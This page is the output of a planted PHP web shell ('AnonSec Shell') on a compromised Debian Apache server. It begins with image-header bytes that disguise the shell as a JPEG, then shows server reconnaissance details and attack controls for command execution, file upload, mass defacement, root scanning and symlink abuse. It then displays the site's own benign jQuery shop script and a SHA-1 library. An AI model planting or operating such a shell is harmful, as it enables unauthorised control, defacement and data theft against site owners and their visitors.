JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/www/assets/js/front/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/www/assets/js/front/jscripts.js
////NEW PROMO - START

$(function () {
    if (jQuery().iCheck) {
        $('.promozone input').iCheck();
    }
    if (jQuery().selectBoxIt) {
        $(".promozone .selectboxit-approved").selectBoxIt({ autoWidth: false });
    }
});

document.body.className += ' js';
////NEW PROMO - END

$(window).resize(function () {
    resize();
});

function start () {
    resize();
}

function resize () {
    windowWidth = window.innerWidth ? window.innerWidth : document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth;
    windowHeight = window.innerHeight ? window.innerHeight : document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight;
    wrapperHeight = $("#wrapper").height();
    footerHeight = $("#footer").height();
    if ((wrapperHeight + footerHeight) < windowHeight) {
        $("#footer").css("position", "absolute");
        $("#footer").css("bottom", "0");
    } else {
        $("#footer").removeAttr("style");
    }

}

function showAskProductsText(idFirst, idSecond){
    let currentFirstClassname = 'ask_products_text_first_current';
    let currentSecondClassname = 'ask_products_text_second_current';
    let currentFirstElems = document.getElementsByClassName(currentFirstClassname)
    let currentSecondElems = document.getElementsByClassName(currentSecondClassname)
    if(currentFirstElems.length && currentSecondElems.length){
        currentFirstElems[0].style.display = 'none';
        currentFirstElems[0].classList.remove(currentFirstClassname);
        currentSecondElems[0].style.display = 'none';
        currentSecondElems[0].classList.remove(currentSecondClassname);
    }
    if(idFirst && idSecond && document.getElementById(idFirst) && document.getElementById(idSecond)) {
        document.getElementById(idFirst).classList.add(currentFirstClassname);
        document.getElementById(idFirst).style.display = 'inline-block';
        document.getElementById(idSecond).classList.add(currentSecondClassname);
        document.getElementById(idSecond).style.display = 'inline-block';
    }

}

function showCorrectAskProductsText(around){
    if(!around || around === 0 || 5 <= around){
        showAskProductsText('ask_products_text_first_more_5', 'ask_products_text_second_more_5');
    }
    else if(around === 1){
        showAskProductsText('ask_products_text_first_eq_1', 'ask_products_text_second_eq_1');
    }
    else {
        showAskProductsText('ask_products_text_first_else', 'ask_products_text_second_else');
    }
}

function erase (productCode) {
    let productNumber = $("#product-number");
    let nbrProducts = parseInt(productNumber.html()) - 1;
    if (nbrProducts === 0) {//jestli poptavka je prazdna
        eraseAll();
        return;
    }
    $(".product_in_demand_" + productCode).fadeOut("slow");
    $.post("/homepage/session-product", {
        do: "removeFromSession", product_id: productCode//ne product ID a product code. Ale radsi necham to tak.
    }, function (data) {

    }, "json");

    showCorrectAskProductsText(nbrProducts);
    productNumber.html(nbrProducts);

    //zactivnit zpatky produkt na hlavni strance
    $('#' + productCode).removeClass('product_card_disabled');
    $('#' + productCode + ' .green_add').show();
    ///

}

function eraseAll () {
    $('.product_card_disabled').removeClass('product_card_disabled');
    $('.product_card_wide').remove();
    $('[class*="product_in_demand_"]').remove();
    $('#header_demand_more').remove();
    $('#header_demand_delete_all').hide();

    $('#ask_wishlist').html("");
    showCorrectAskProductsText(0);
    $("#product-number").html(0);
    $('.green_add').show();
    $(".poptavka-no-products").addClass("active");
    $(".deleteAll").fadeOut("slow"); //poptavka
    $("#delAll, #promozone-block-headline").fadeOut("slow");//cenik
    $("#ask_erase_all").fadeOut("slow");//site bar v pravo

    $.post(
        "/homepage/session-product",
        {
            do: "removeAllFromSession"
        }, function (data) {

        }, "json");
}

$(document).ready(function () {
    var around = $('#ask_wishlist').children().length;
    showCorrectAskProductsText(around);
    $('#ask_wishlist').on('DOMNodeInserted DOMNodeRemoved', function () {
        setTimeout(function () {
            var around = $('#ask_wishlist').children().length;
            if (around > 0) {
                $('#ask_erase_all').show();
            } else {
                $('#ask_erase_all').hide();
            }
            showCorrectAskProductsText(around);
            $("#product-number").html(around);
        }, 20);
    });
}
);

/* funkce pro volání promazání všech produktů v poptávce odkudkoliv (nepřesměruje na poptávku) */
function eraseAllFromOutside (x) {
    var arr = x.split(",");
    arr.forEach(function (x) {
        erase(x);
    });

    $("#product-number").html("0");

};

function loginWindow (action) {
    if (action == "show") {
        $("#login_window").css("top", "0px");


        setTimeout(function () {
            $("#login_window .content").css("opacity", "1");
            $("#login_window").css("box-shadow", "0 0 300px -30px #111");
        }, 600);
    }

    if (action == "hide") {
        $("#login_window .content").css("opacity", "0");
        $("#login_window").css("box-shadow", "0 0 0px -30px #111");

        setTimeout(function () {
            $("#login_window").css("top", "-1500px");
        }, 600);
    }
}

function login_window_show (list) {
    width = $("#login_content_wrapper").width();
    left = width * (list - 1);
    $("#login_content_slider").css("left", "-" + left + "px");

    switch (list) {
        case 1: {
            $("#login_window").removeClass("login-window-double");
            $('#login-form-registration-btn').attr('onClick', 'login_window_show(2)');
            break;
        }
        case 2: {
            $("#login_window").addClass("login-window-double");
            $("#login-form-registration-btn").attr('onclick', '').unbind('click');
            break;
        }
        case 3: {
            $("#login_window").removeClass("login-window-double");
            $('#login-form-registration-btn').attr('onClick', 'login_window_show(2)');
            break;
        }
    }

    loginWindow('show');

}


$(document).ready(function () {

    var sideBanners = new Array;
    $(".sidebanner").each(function () {
        sideBanners.push("#" + $(this).prop("id"));
    });

    var sideStart = 1;
    var sideInterval = 6000;

    //$('.sidebanner').hide();

    var sideMax = sideBanners.length - 1;
    var sideNum = sideStart - 1;

    function swapSideBanner () {

        if (sideNum > sideMax) {
            sideNum = 0;
        }
        $(sideBanners[sideNum]).fadeIn(1000).delay(sideInterval).fadeOut(1000);
        sideNum++;

        timeout = setTimeout(function () {
            swapSideBanner()
        }, sideInterval);
    }

    var topBanners = new Array;

    $(".topbanner").each(function () {
        topBanners.push("#" + $(this).prop("id"));
    });

    var topStart = 1;
    var topInterval = 9000;

    $('.topbanner').hide();

    var topMax = topBanners.length - 1;
    var topNum = topStart - 1;

    function swapTopBanner () {

        if (topNum > topMax) {
            topNum = 0;
        }
        $(topBanners[topNum]).fadeIn(1000).delay(topInterval).fadeOut(1000);
        topNum++;

        timeout = setTimeout(function () {
            swapTopBanner()
        }, topInterval);
    }

    var headBanners = new Array;
    $(".headbanner").each(function () {
        headBanners.push("#" + $(this).prop("id"));
    });

    var headStart = 1;
    var headInterval = 5000;

    //$('.headbanner').hide();

    var headMax = headBanners.length - 1;
    var headNum = headStart - 1;

    function swapHeadBanner () {

        if (headNum > headMax) {
            headNum = 0;
        }
        $(headBanners[headNum]).fadeIn(700).delay(headInterval).fadeOut(700);
        headNum++;

        timeout = setTimeout(function () {
            swapHeadBanner()
        }, headInterval + 1000);
    }

    //swapSideBanner();
    //swapTopBanner();
    //swapHeadBanner();

    if ($("#ask_wishlist").html() !== "") {
        $("#ask_submit").css("opacity", "1");
    }

    if ($("#center").height() < 750) {
        $("#side_banners").hide();
    }

    $(function () {
        if ($("#side_ask").height() > 0) {
            var $sidebar = $("#side_ask"),
                $window = $(window),
                $pageHeight = $("#wrapper").height() + $("#footer").height(),
                offset = $sidebar.offset(),
                topPadding = 182,
                footerHeight = 450,
                banner = $("#side_banner").height();

            //if(banner !== null){offset.top = offset.top + 40};

            $window.scroll(function () {
                viewportWidth = $(window).width();
                pagination_offset = $("#pagination").offset();

                if (viewportWidth > 991 && pagination_offset) {

                    var $pageHeight = pagination_offset.top + $("#footer").height() + 50;

                    $("#ask_wishlist").css("max-height", ($window.height() - 500 - 250) + "px");
                    if ($window.scrollTop() > offset.top) {
                        cur_x = $window.scrollTop() - offset.top + topPadding;
                        max_x = pagination_offset.top - offset.top - $sidebar.height();

                        /*if(cur_x > (max_x - 300)){
                            $("#side_banners").fadeOut();
                        }else{
                            $("#side_banners").fadeIn();
                        }*/

                        if (cur_x > max_x) {
                            x = max_x;
                        } else {
                            x = cur_x;
                        }

                        $sidebar.stop().animate({
                            marginTop: x
                        });
                    } else {
                        $sidebar.stop().animate({
                            marginTop: 0
                        });
                    }
                }
            });
        }
    });

    $('#detail-more-images').click(function () {
        $("#detail_images #images_toggle").toggleClass("smallview");
    });

    $('#detail_specifications_toggle_button').click(function () {
        $('#detail_specifications_toggle').slideToggle("slow");
    });

    $("#menu_categories li").hover(function () {
        if (($(".submenu", this).position().left + $(".submenu", this).width()) > 1195) {
            $(".submenu", this).css("right", 0);
        }
    });

    /* PRODUCT DETAIL */


    $('#detail-more-images').click(function () {
        $('#showMore').toggleClass("hide");
        $('#showLess').toggleClass("hide");


    });


    /* BONUS PROGRAM */

    checkAvailableBonusItems();

    $(".addToBonusList").click(function () {

        var product = $(this).data();
        $("<p>" + product.name + " - <span class='bp_delete' data-points='" + product.points + "' data-code='" + product.code + "'>smazat</span></p>").hide().prependTo("#bonus_selected_products").fadeIn("slow");
        $("#used_points").val(parseInt($("#used_points").val()) + parseInt(product.points));

        $("#bonus_selected_products_text").val(($("#bonus_selected_products_text").val()) + product.points + " b. | " + product.name + "\n");
        $("#bonus_selected_products_container").append('<input type="text" id="' + product.code + '" name="bonus_selected_products[]" value="' + product.points + " b. | " + product.name + '">');

        $("#bonus_sidebar button").prop('disabled', false);

        checkAvailableBonusItems();

    });

    //smazání z košíku
    $(document).on('click', '.bp_delete', function () {

        var deleted_product = $(this).data();
        $(this).closest("p").hide();
        //odmazání skrytého inputu
        $("#" + deleted_product.code).remove();

        $("#used_points").val(parseInt($("#used_points").val()) - parseInt(deleted_product.points));

        checkAvailableBonusItems();

    });


    function removeFromBonusList () {
        //TODO: umožnit ukládání aktuálního stavu a rušení produktu v seznamu dárků


    }

    function checkAvailableBonusItems () {
        pointsLeft = parseInt($(".bonus_points").html()) - parseInt($("#used_points").val());

        $(".product_card").each(function () {
            if (parseInt($(this).data("points")) > pointsLeft) {
                $(this).addClass("disabled");
                $("button", this).prop('disabled', true);

            } else {
                $(this).removeClass("disabled");
                $("button", this).prop('disabled', false);
            }
        });

        $("#bonus_carriers tr").each(function () {
            if (parseInt($(this).data("points")) > pointsLeft) {
                $(this).addClass("disabled");
                $("input", this).prop('disabled', true);

            }
        });

    }


});

function help (x) {
    switch (x) {
        case 2: {
            alert("Nyní stačí popsat své požadavky do pole \"Vaše poptávka\" a vyplnit kontaktní údaje nebo se přihlásit. \n\n Kliknutím na křížek na kartě produktu jej odstraníte z poptávky.");
            break;

        }
    }
}

/*function allowDrop(ev){

    ev.preventDefault();
}

function drag(ev){

    ev.dataTransfer.setData("Text",ev.target.id);
}

function drop(ev){
    ev.preventDefault();
    var data=ev.dataTransfer.getData("Text");
    ev.target.appendChild(document.getElementById(data));
    if ( data == "help-product" ) {

      $("#ask_dropdown > .product_card").fadeOut(3000);
        $(".help-info").html("<h2 style=\"color: #4D942A;font-size: 30px;font-weight: bold;\">"+vyborne+"</h2><p>"+stejnymZpusobem+"</p><div class=\"robot\"></div>");
        $(".help-arrow").fadeOut();
    } else {

        $("#ask_dropdown > .product_card").fadeOut(3000);
        product_name = $("#"+data+" > div").html();

        $("<p>"+product_name+"</p>").hide().prependTo("#ask_wishlist").fadeIn("slow");
        $("#ask_products").val($("#ask_products").val()+data+";");

        $("#ask_submit").css("opacity","1");

        $.post( "/homepage/session-product", { action: "addToSession", product_id: data }, function( data ) {

        }, "json");

    };


}*/


function allowDrop (ev) {


}

function drag (ev) {


}

function drop (ev) {


}

/* přidání do poptávky drag and drop */
$(document).ready(function () {
    $(init);

    $(window).resize(function () {
        $(init);
    });

    function init () {
        var viewportWidth = $(window).width();
        $('.product_card:not(.product_card--small)').draggable({
            containment: 'body',
            stack: '.product_card',
            cursor: 'move',
            revert: true
        });
        $('#ask_dropdown').droppable({
            drop: handleDropEvent
        });

        try {
            if (viewportWidth < 992) {
                $(".product_card").addClass("not-dragable").draggable("disable");
                $("#side_ask").addClass("not-dragable");
            } else {
                $(".product_card").removeClass("not-dragable").draggable("enable");
                $("#side_ask").removeClass("not-dragable");
            }
        } catch (e) {
        }
        $(".product_card.product_card_draggable_disabled").addClass("not-dragable").draggable("disable");
    }

    function handleDropEvent (event, ui) {
        var draggable = ui.draggable;
        if (draggable.hasClass('product_card_disabled') || draggable.hasClass('product_card_draggable_disabled')) {
            return;
        }
        //alert( 'The square with ID "' + draggable.attr('id') + '" was dropped onto me!' );
        var dragid = draggable.attr('id');
        var nbrProducts = parseInt($("#product-number").html()) + 1;
        $("#ask_dropdown").append($("#" + dragid).clone());

        draggable.addClass('product_card_disabled');
        draggable.children('.green_add').hide();

        if (dragid === "help-product") {

            $("#ask_dropdown > .product_card").fadeOut(3000);
            $(".help-info").html("<h2 style=\"color: #4D942A;font-size: 30px;font-weight: bold;\">" + vyborne + "</h2><p>" + stejnymZpusobem + "</p><div class=\"robot\"></div>");
            $(".help-arrow").fadeOut();
        } else {

            $("#ask_dropdown > .product_card").fadeOut(3000);


            $("#ask_submit").css("opacity", "1");

            showCorrectAskProductsText(nbrProducts);
            $("#product-number").html(nbrProducts).closest('a').addClass("blink");
            setTimeout(function () {
                $("#product-number").closest('a').removeClass("blink");
            }, 2000);

            addProductToGreenBox(dragid);
        }
    }
});

function getProductHtml (id, img, name, code) {
    return '<li id="ask_wishlist_' + id + '" class="header-demand__product product_in_demand_' + code + '">' +
        '                            <div class="header-demand__product-img">' +
        '                                <a href="/detail/' + code + '">' +
        '                                    <img src="' + img + '" width="65" height="65" alt="' + name + '">' +
        '                                </a>' +
        '                            </div>' +
        '                            <div class="header-demand__product-name">' +
        '                                <a href="/detail/' + code + '">' +
        '                                    <span class="product_in_demand-code">' + code + '</span>' +
        '                                    <p>' + name + '</p>' +
        '                                </a>' +
        '                                <div class="header-demand__product-remove"><i onclick="erase(\'' + code + '\')" class="fa fa-times" aria-hidden="true"></i></div>' +
        '                            </div>' +
        '                        </li>';
}

function addProductToGreenBox (dragid) {
    $.post("/homepage/session-product", { do: "addToSession", product_id: dragid }, function (data) {
        let product = JSON.parse(data);
        $("<p class='product_in_demand_" + product.code + "'><i onclick='erase(\"" + product.code + "\")' class='fa fa-times pull-right' aria-hidden='true' ></i><a href='/detail/" + product.code + "'><span class='product_in_demand-code'>" + product.code + "</span>" + product.name + "</a></p>").prependTo("#ask_wishlist").fadeIn("slow");
        $(getProductHtml(product.id, product.image, product.name, product.code)).prependTo(".header-demand").fadeIn("slow");
        $("#ask_products").val($("#ask_products").val() + dragid + ";");
    }, "json");
}

/* přidání do poptávky na klik */
function clickGreenAdd(event, newThis){
    event.preventDefault();
    $(newThis).hide();

    var draggable = $(newThis).parent().parent();
    draggable.addClass('product_card_disabled');
    draggable.children('.green_add').hide();

    var product = $(newThis).data("product");
    addProductToGreenBox(product);

    var nbrProducts = parseInt($("#product-number").html()) + 1;

    showCorrectAskProductsText(nbrProducts);
    $("#product-number").html(nbrProducts).closest('a').addClass("blink");
    setTimeout(function () {
        $("#product-number").closest('a').removeClass("blink");
    }, 2000);
}

$(document).ready(function () {

    $(".green_add_filter").click(function (event) {
        event.preventDefault();
        $(this).hide();

        if ($(this).data("products")) {
            let products = $(this).data("products").split(',');
            products.forEach(function (product) {
                addProductToGreenBox(product);
                let nbrProducts = parseInt($("#product-number").html()) + 1;
                showCorrectAskProductsText(nbrProducts);
                $("#product-number").html(nbrProducts).closest('a').addClass("blink");
            });

            setTimeout(function () {
                $("#product-number").closest('a').removeClass("blink");
                window.location = window.location.href;
            }, 5000);
        }
        $(this).hide();
    });
});

/*  SHOW MORE - category text */
$(document).ready(function () {
    $("#text_page_button").click(function (event) {
        event.preventDefault();
        $("#text_afterMore").slideDown("slow", function () {
            $("#text_page_button").attr('style', 'visibility: hidden;');
        });

    });
});
/*  SHOW MORE  */


/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/*  SHA-1 implementation in JavaScript | (c) Chris Veness 2002-2013 | www.movable-type.co.uk      */
/*   - see http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html                             */
/*         http://csrc.nist.gov/groups/ST/toolkit/examples.html                                   */
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */

var Sha1 = {};  // Sha1 namespace

/**
 * Generates SHA-1 hash of string
 *
 * @param {String} msg                String to be hashed
 * @param {Boolean} [utf8encode=true] Encode msg as UTF-8 before generating hash
 * @returns {String}                  Hash of msg as hex character string
 */
Sha1.hash = function (msg, utf8encode) {
    utf8encode = (typeof utf8encode == 'undefined') ? true : utf8encode;

    // convert string to UTF-8, as SHA only deals with byte-streams
    if (utf8encode) msg = Utf8.encode(msg);

    // constants [§4.2.1]
    var K = [0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xca62c1d6];

    // PREPROCESSING

    msg += String.fromCharCode(0x80);  // add trailing '1' bit (+ 0's padding) to string [§5.1.1]

    // convert string msg into 512-bit/16-integer blocks arrays of ints [§5.2.1]
    var l = msg.length / 4 + 2;  // length (in 32-bit integers) of msg + ‘1’ + appended length
    var N = Math.ceil(l / 16);   // number of 16-integer-blocks required to hold 'l' ints
    var M = new Array(N);

    for (var i = 0; i < N; i++) {
        M[i] = new Array(16);
        for (var j = 0; j < 16; j++) {  // encode 4 chars per integer, big-endian encoding
            M[i][j] = (msg.charCodeAt(i * 64 + j * 4) << 24) | (msg.charCodeAt(i * 64 + j * 4 + 1) << 16) |
                (msg.charCodeAt(i * 64 + j * 4 + 2) << 8) | (msg.charCodeAt(i * 64 + j * 4 + 3));
        } // note running off the end of msg is ok 'cos bitwise ops on NaN return 0
    }
    // add length (in bits) into final pair of 32-bit integers (big-endian) [§5.1.1]
    // note: most significant word would be (len-1)*8 >>> 32, but since JS converts
    // bitwise-op args to 32 bits, we need to simulate this by arithmetic operators
    M[N - 1][14] = ((msg.length - 1) * 8) / Math.pow(2, 32);
    M[N - 1][14] = Math.floor(M[N - 1][14])
    M[N - 1][15] = ((msg.length - 1) * 8) & 0xffffffff;

    // set initial hash value [§5.3.1]
    var H0 = 0x67452301;
    var H1 = 0xefcdab89;
    var H2 = 0x98badcfe;
    var H3 = 0x10325476;
    var H4 = 0xc3d2e1f0;

    // HASH COMPUTATION [§6.1.2]

    var W = new Array(80);
    var a, b, c, d, e;
    for (var i = 0; i < N; i++) {

        // 1 - prepare message schedule 'W'
        for (var t = 0; t < 16; t++) W[t] = M[i][t];
        for (var t = 16; t < 80; t++) W[t] = Sha1.ROTL(W[t - 3] ^ W[t - 8] ^ W[t - 14] ^ W[t - 16], 1);

        // 2 - initialise five working variables a, b, c, d, e with previous hash value
        a = H0;
        b = H1;
        c = H2;
        d = H3;
        e = H4;

        // 3 - main loop
        for (var t = 0; t < 80; t++) {
            var s = Math.floor(t / 20); // seq for blocks of 'f' functions and 'K' constants
            var T = (Sha1.ROTL(a, 5) + Sha1.f(s, b, c, d) + e + K[s] + W[t]) & 0xffffffff;
            e = d;
            d = c;
            c = Sha1.ROTL(b, 30);
            b = a;
            a = T;
        }

        // 4 - compute the new intermediate hash value
        H0 = (H0 + a) & 0xffffffff;  // note 'addition modulo 2^32'
        H1 = (H1 + b) & 0xffffffff;
        H2 = (H2 + c) & 0xffffffff;
        H3 = (H3 + d) & 0xffffffff;
        H4 = (H4 + e) & 0xffffffff;
    }

    return Sha1.toHexStr(H0) + Sha1.toHexStr(H1) +
        Sha1.toHexStr(H2) + Sha1.toHexStr(H3) + Sha1.toHexStr(H4);
}

//
// function 'f' [§4.1.1]
//
Sha1.f = function (s, x, y, z) {
    switch (s) {
        case 0:
            return (x & y) ^ (~x & z);           // Ch()
        case 1:
            return x ^ y ^ z;                    // Parity()
        case 2:
            return (x & y) ^ (x & z) ^ (y & z);  // Maj()
        case 3:
            return x ^ y ^ z;                    // Parity()
    }
}

//
// rotate left (circular left shift) value x by n positions [§3.2.5]
//
Sha1.ROTL = function (x, n) {
    return (x << n) | (x >>> (32 - n));
}

//
// hexadecimal representation of a number
//   (note toString(16) is implementation-dependant, and
//   in IE returns signed numbers when used on full words)
//
Sha1.toHexStr = function (n) {
    var s = "", v;
    for (var i = 7; i >= 0; i--) {
        v = (n >>> (i * 4)) & 0xf;
        s += v.toString(16);
    }
    return s;
}


/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/*  Utf8 class: encode / decode between multi-byte Unicode characters and UTF-8 multiple          */
/*              single-byte character encoding (c) Chris Veness 2002-2013                         */
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */

var Utf8 = {};  // Utf8 namespace

/**
 * Encode multi-byte Unicode string into utf-8 multiple single-byte characters
 * (BMP / basic multilingual plane only)
 *
 * Chars in range U+0080 - U+07FF are encoded in 2 chars, U+0800 - U+FFFF in 3 chars
 *
 * @param {String} strUni Unicode string to be encoded as UTF-8
 * @returns {String} encoded string
 */
Utf8.encode = function (strUni) {
    // use regular expressions & String.replace callback function for better efficiency
    // than procedural approaches
    var strUtf = strUni.replace(
        /[\u0080-\u07ff]/g,  // U+0080 - U+07FF => 2 bytes 110yyyyy, 10zzzzzz
        function (c) {
            var cc = c.charCodeAt(0);
            return String.fromCharCode(0xc0 | cc >> 6, 0x80 | cc & 0x3f);
        }
    );
    strUtf = strUtf.replace(
        /[\u0800-\uffff]/g,  // U+0800 - U+FFFF => 3 bytes 1110xxxx, 10yyyyyy, 10zzzzzz
        function (c) {
            var cc = c.charCodeAt(0);
            return String.fromCharCode(0xe0 | cc >> 12, 0x80 | cc >> 6 & 0x3F, 0x80 | cc & 0x3f);
        }
    );
    return strUtf;
}

/**
 * Decode utf-8 encoded string back into multi-byte Unicode characters
 *
 * @param {String} strUtf UTF-8 string to be decoded back to Unicode
 * @returns {String} decoded string
 */
Utf8.decode = function (strUtf) {
    // note: decode 3-byte chars first as decoded 2-byte strings could appear to be 3-byte char!
    var strUni = strUtf.replace(
        /[\u00e0-\u00ef][\u0080-\u00bf][\u0080-\u00bf]/g,  // 3-byte chars
        function (c) {  // (note parentheses for precence)
            var cc = ((c.charCodeAt(0) & 0x0f) << 12) | ((c.charCodeAt(1) & 0x3f) << 6) | (c.charCodeAt(2) & 0x3f);
            return String.fromCharCode(cc);
        }
    );
    strUni = strUni.replace(
        /[\u00c0-\u00df][\u0080-\u00bf]/g,                 // 2-byte chars
        function (c) {  // (note parentheses for precence)
            var cc = (c.charCodeAt(0) & 0x1f) << 6 | c.charCodeAt(1) & 0x3f;
            return String.fromCharCode(cc);
        }
    );
    return strUni;
}

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */

/* odlepení/přilepení patičky při rozbalení filtrace */
$(document).ready(function () {

    $("#filterToggle").click(function () {
        resize();
        setTimeout(function () {
            resize();
        }, 100);
        setTimeout(function () {
            resize();
        }, 200);
        setTimeout(function () {
            resize();
        }, 300);
        setTimeout(function () {
            resize();
        }, 400);
        setTimeout(function () {
            resize();
        }, 500);
        setTimeout(function () {
            resize();
        }, 600);
        setTimeout(function () {
            resize();
        }, 700);

    });

    $(document).on('change', 'input[name=sidebar_category]', function () {
        var sidebar_products_type = $(this).val();

        if ($(this).is(':checked')) {
            $('.menu-list__item-wrap-chooser label').removeClass('is-checked')
            $(this).parent().addClass('is-checked')
        }

        $('.menu-list__submenu--first-level').addClass('is-hidden');
        $('.menu-list__submenu_' + sidebar_products_type).removeClass('is-hidden');
    });

    $(document).on('change', 'input[name=mobile_category]', function () {
        var products_type = $(this).val();

        if ($(this).is(':checked')) {
            $('.mobile-mobile-menu-list__item-wrap-chooser label').removeClass('is-checked')
            $(this).parent().addClass('is-checked')
        }

        $('.mobile-menu-list__submenu--first-level').addClass('is-hidden');
        $('.mobile-menu-list__submenu_' + products_type).removeClass('is-hidden');
    });
});

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* rozbalení a zabalení přepínače jazyka */

$(document).ready(function () {

    $(".head-language-switch-in-click").click(function () {
        $(this).parent(".head-language-switch").toggleClass("active");
    });
});

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* vrchni slider */

$(document).ready(function () {
    var viewportWidth = $(window).width();
    var isMobileSlider = false;
    var desktopSlider = {};
    var mobileSlider = {};

    if (viewportWidth > 767) {

    }

    initializeSlider(viewportWidth);

    $(window).resize(function () {
        var viewportWidth = $(window).width();
        rewriteSlider(viewportWidth);
    });

    function initializeSlider (viewportWidth) {

        if (viewportWidth > 767) {
            desktopSlider = $('.top-slider').bxSlider({
                touchEnabled: false,
                oneToOneTouch: false,
                auto: true
            });
            isMobileSlider = false;
        } else {
            mobileSlider = $('.mobile-slider').bxSlider({
                auto: true
            });
            isMobileSlider = true;
        }
    }

    function rewriteSlider (viewportWidth) {

        if (viewportWidth > 767 && isMobileSlider) {
            isMobileSlider = false;
            try {
                mobileSlider.destroySlider();
            } catch (e) {}

            desktopSlider = $('.top-slider').bxSlider({
                touchEnabled: false,
                oneToOneTouch: false,
                auto: true
            });

        } else if (viewportWidth < 767 && !isMobileSlider) {
            isMobileSlider = true;
            try {
                desktopSlider.destroySlider();
            } catch (e) {}

            mobileSlider = $('.mobile-slider').bxSlider({
                auto: true
            });
        }
    }
});

/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
/* přepínač horního menu */

(function ($) {

    $(document).ready(function () {

        var viewportWidth = $(window).width();

        if (viewportWidth < 768) {
            $(".main-tab-menu-content-item").removeClass("active");
            $(".main-tab-menu-tab-item").removeClass("active");
        }

        $(".main-tab-menu-tab-item").click(function () {
            var tento = $(this);

            if (!$(tento).hasClass("disabled")) {
                var pageNumber = $(tento).data("tab");

                if (viewportWidth > 767) {
                    $(tento).closest(".main-tab-menu").find(".main-tab-menu-content-item").removeClass("active");
                    $(tento).closest(".main-tab-menu").find(".main-tab-menu-tab-item").removeClass("active");
                    $(tento).closest(".main-tab-menu").find(".main-tab-menu-content-item[data-tab='" + pageNumber + "']").addClass("active");
                    $(tento).closest(".main-tab-menu").find(".main-tab-menu-tab-item[data-tab='" + pageNumber + "']").addClass("active");
                } else {
                    if ($(tento).hasClass("active")) {
                        $(tento).closest(".main-tab-menu").find(".main-tab-menu-content-item").removeClass("active");
                        $(tento).closest(".main-tab-menu").find(".main-tab-menu-tab-item").removeClass("active");
                    } else {
                        $(tento).closest(".main-tab-menu").find(".main-tab-menu-content-item").removeClass("active");
                        $(tento).closest(".main-tab-menu").find(".main-tab-menu-tab-item").removeClass("active");
                        $(tento).closest(".main-tab-menu").find(".main-tab-menu-content-item[data-tab='" + pageNumber + "']").addClass("active");
                        $(tento).closest(".main-tab-menu").find(".main-tab-menu-tab-item[data-tab='" + pageNumber + "']").addClass("active");
                    }
                }
            }
            $('#menu_search').focus();
        });

        $(".js-show-filters").click(function () {
